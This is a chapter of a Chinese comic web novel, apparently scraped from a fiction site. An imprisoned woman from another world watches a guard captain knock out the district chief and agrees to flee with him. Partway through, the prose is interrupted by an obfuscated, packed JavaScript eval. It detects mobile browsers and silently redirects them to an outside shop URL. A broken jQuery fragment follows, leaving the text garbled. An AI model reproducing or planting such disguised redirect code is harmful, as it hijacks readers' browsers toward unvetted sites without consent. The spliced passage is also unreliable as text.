文趣网 > 其他小说 > 老实人滞销,救救老实人! > 3. 没吃过猪肉总见过猪跑
    人有十根手指,根根有它的独特使命。

    人有小命一条,若死则如灯灭,什么也没有了。

    周小洁既不想丢手指,也不想丢小命,有些紧张地抿唇:“区长大人,我真的不知道您在说什么。我就是一个普通老百姓,那天就是路过,什么都不知道。您要是不信,您尽管查,查出来我有问题,您怎么处置都行。”

    二世祖冷笑:“你在教我做事?”

    我没有,我真的没有。

    周小洁欲言又止,止言又欲,但最终还是忍住了。

    原因无他,就刚才二世祖和警卫队长交涉那一下,足够周小洁清楚二世祖十足自负且听不懂人话的个性……极力和这种人证明她的求生欲实际有多么旺盛真的不会出事吗?!

    真的不会被施以极刑然后区长刷新在受苦受难的她的身边用针扎她然后说“你招不招”,“招不招”吗。

    啊啊,谁来救救她。

    周小洁眼神漂移,落在了一根上有红蓝白三色涂鸦的“棒球棍”上,这棍子真漂亮,全身都散发着神秘的金属光泽,高高挥起,重重砸下……

    等等。

    咦咦咦???

    周小洁瞪大了眼睛,她条件反射般往后蹭去,狼狈地在地上滚了一圈半,灰头土脸地躲过迎面而倒的男性躯体。

    “呃!”短促的男声惊叫。

    音节来自二世祖。

    削铁如泥的匕首在空中划出一个不怎么优雅的弧度,正正好好插在周小洁大腿旁的地里。

    就差那么一毫厘……二世祖手中的匕首,就要削下她大腿的一块肉。

    胆战心惊。劫后余生。

    周小洁吞一口口水,仓皇地顺着“棒球棍”看去——左手,战术手套,包裹的严实的手臂,银色的发丝,只露出眉目的面部,略有些青黑的眼下。

    警卫队长。

    他自击倒二世祖后,就一直剧烈喘息着,握着棒球棍的左手一直在微小地抖动,感觉……似乎精神状态极度紧绷。

    周小洁不大敢刺激他,犹豫半晌,缓缓摊开双掌放于耳旁,“我……我投降。”

    像她这种老实人,一向没有心机,更没有一点手段,若是连识时务看眼色抓住时机及时滑跪都不懂,在社会上会被人吃干抹净连骨头渣子都不剩只是时间问题。

    警卫队长李希平,是当初亲手将她抓入狱中之人,肌肉有她头两个大,他甚至不用拿电棍,随便一拳下来,周小洁都吃不了兜着走。

    周小洁为自己抹一把汗。

    “你特么投个屁的降?”二世祖趴在原地抖了一会,不知道是怕的还是气的,接着,他的眼珠转向警卫队长,又转向周小洁,骂道,“你、你们!”

    周小洁反应慢半拍:“啊?我……?”

    她站在旁边,困惑不已,什么?什么你们?这货到底在说什么?她怎么听不懂?

    二世祖则声嘶力竭:“你们这对狗男女竟敢串通一气,狼狈为奸——”

    他忿忿不已:“我要告诉我舅舅!贱民,你们完蛋了,老子要把你们剁碎了喂鳄鱼!来人啊!来人啊!!给我拿下这对狗男女!!”

    二世祖的呼喊中气十足,震耳欲聋,回荡在空荡荡的监狱中,莫名有些幽默,幽默得周小洁的面部表情渐渐……渐渐的裂开了。

    这这这,又关她什么事啊?到底要强调多少遍她是无辜的,她、是、无、辜、的!

    hello!听得到吗?她周小洁做了二十余年的老实淳朴好百姓,做过最大的坏事是在QQ农场里偷朋友的菜……

    警卫队长打二世祖,下属打上司,关她有半毛钱关系吗?

    这不得全都赖你欺人太甚吗二世祖?!

    一口一个“贱民”眼高于顶的,大肆贬低人家的梦想,短短的时间里扣了又扣人警卫队长的工资……

    一根眼熟的棒球棍出现在她的视野里,轻轻地,轻轻地晃动了一下。

    蹭到了她的小臂。

    周小洁反应迅速,立刻后退半步,为此险些没被倒在地上的二世祖绊倒。

    腿部碰撞其的身躯,碰得二世祖捂着脖子对她怒目而视破口大骂:“你们完了!”

    “我告诉你们!殴打贵族、殴打公/职人员,就算不算本区长参与修纂的《霍普法条》,你们已经犯下了大不敬罪、故意伤害罪……”

    “……我知道。”

    “你知道你还——呃啊!”

    李希平拎起电棍,二话不说,给了二世祖一记。他没有留手,电流开了最大档,“滋儿滋儿哇”地发威。

    二世祖顷刻便人事不知,晕倒在地。

    周小洁吓坏了:“队长,队长,别电我,我是大大的良民啊!我、我我身为忠诚的无产阶级斗士严肃支持你发卖无良资本家!!”

    她举手发誓:“我一直都是站在你这边的队长。”

    “……”李希平捏捏鼻梁,疲惫地阖上眸子,叹气,再叹气,“我不会电你的。”

    他补充道,“你连这个电棍的最低档位都扛不住,会直接死掉。”

    “哦,哦,谢谢你啊。”周小洁一抹脸。

    李希平看她颤颤巍巍的:“……事到如今,和我一起逃吧,周小洁。”

    周小洁茫然地抬头。

    “没问过你的意见就把你绑上贼船,确实是我的错误。

    但是,往好处想,区长大人本来就是忠实的“贱民有罪论”簇拥者,你毁了他的事业,又作为黑户,迄今为止触犯了包括但不限于出生罪、呼吸空气罪、饮用水源罪、占据空间罪、税款小偷罪……大大小小共一百余条罪名。

    就算不和我同流合污,也没有活路。”

    ?

    啥?

    原来,这个地方共有十二个区,越前,住着的人越有钱有权,越往后呢,就越落后脏污,上不得台面。

    她穿越后落地在最混乱、最无序的十二区,而区长来自第三区,姓“雷诺兹”,是个贵族,之所以来到十二区当区长,纯粹为了快速刷政绩合情合理地升职。

    升职需要治理成果,治理成果由中央检查官进行审核,审核通过,区长即可顺利高升。

    为此,他一来到这里,便迅速颁发了《雷诺兹法案》,禁止了一系列行为,施行了一系列措施,什么街道上不能行人啦,垃圾桶里不能装垃圾啦,面包店里不能卖面包啦……

    本来一切就绪,只等中央检查官在区长的考核表上写上“合格”二字,周小洁却从天而降坏了区长的好事,叫那来自区长敌对家族的检查官寻到良机,狠狠卡了区长的升迁。

    预计如果不及时止损,区长至少要在这里待上二十年,才有下一个升迁的机会了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768311|209822||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    李希平平静地说:“中央检查官来以前,区长勒令我将监狱内关押的囚犯全数处理掉,能毙的毙了,不能毙的全部9.9一个拉到街上处理了。”

    周小洁忍不住发问:“请问,我也要被9.9一个卖掉吗?”

    李希平奇怪地看她一眼:“当然不。”

    他想了想:“但是,你应该也不会被毙掉。”

    欸?

    听到自己不用吃枪子,周小洁心里竟有些感动:“那我会被怎么样呢?”

    李希平淡淡地瞧她,他年纪挺轻,观眉眼鼻三角区的皮肤状态,最多二十出头,然而却生了满头华发,灯光照射下银闪闪的像在发光。

    人眼睛一眨不眨:“如果你不和我走,依旧留下来,那么,之前是死刑,现在大概是被剁碎喂鳄鱼吧。”

    周小洁干巴巴笑道:“哈哈……队长,这话好幽默哦。”

    慢慢的,她的笑容消失了。

    从警卫队长的态度看来,他没在开玩笑。

    区长二世祖手眼通天,脾气还大,说要把你剁碎了喂鳄鱼,就一定能把你喂鳄鱼……全无辩驳的余地。

    她自己清楚自己是无辜的有什么用?难道区长是那种你说一句“冤枉啊青天大老爷”就会耐下心来听你解释的人吗?

    李希平和她是一条绳上的蚂蚱!

    为了保住小命,她想跟着李希平跑要跑,不想跟着李希平跑也得跑。

    周小洁悲愤了:“你拿着你的枪,用你的电棍电晕的二世、咳,区长,为什么在他眼里,你与我是“狼狈为奸、串通一气”,伙同作案啊?”

    李希平皱眉:“我怎么知道?贵族的脑子都有泡。你问他去。”

    周小洁拍案而起!

    她惊了!她怒了!她忍无可忍了!

    她手指一指地上安详沉睡的二世祖,言之凿凿:“哈哈,哈哈哈哈……不敢不敢……”

    “那啥,队长,我们快趁区长大人还睡着,抓紧时间走人吧。”

    周小洁的长发软塌塌背至身后,细碎的杂毛乱糟糟翘在颊边,含情目泛上水光似要流泪,一张纯然的脸上满是诚挚。

    “……”

    李希平不置可否。

    “行了,别花言巧语了,我去开车,你跟上,别掉队了。”

    “不带上区长吗?”周小洁愣了愣,下意识问。

    没吃过猪肉总见过猪跑,她记得电影里都是这么演的:

    便利店、歹徒还有警察以及无辜路人——歹徒神经高度紧张无辜路人欲语泪先流,警察说放下手中的枪!歹徒说我要多少多少现金,放在什么什么地方——你们全部滚开否则我就把无辜路人击毙当场。

    没别的意思,只是她没想到警卫队长竟然不带上区长当人质。

    “……”李希平深深地看她,“你很有经验?”

    噢不,我没有,我真的没有。

    我只是警匪片看多了。

    周小洁有口难言,悲从中来,心中落泪。

    明面上,仍乖巧应和,脸上绽放出赔钱的笑容:“哈哈,哈哈。”

    眼见李希平朝昏迷的二世祖走去,就要按着她的提议来办,周小洁两眼一黑——

    完了,这下真的完了,她回不去了,她再也不是曾经那个爱笑爱闹、个性善良的好女人了。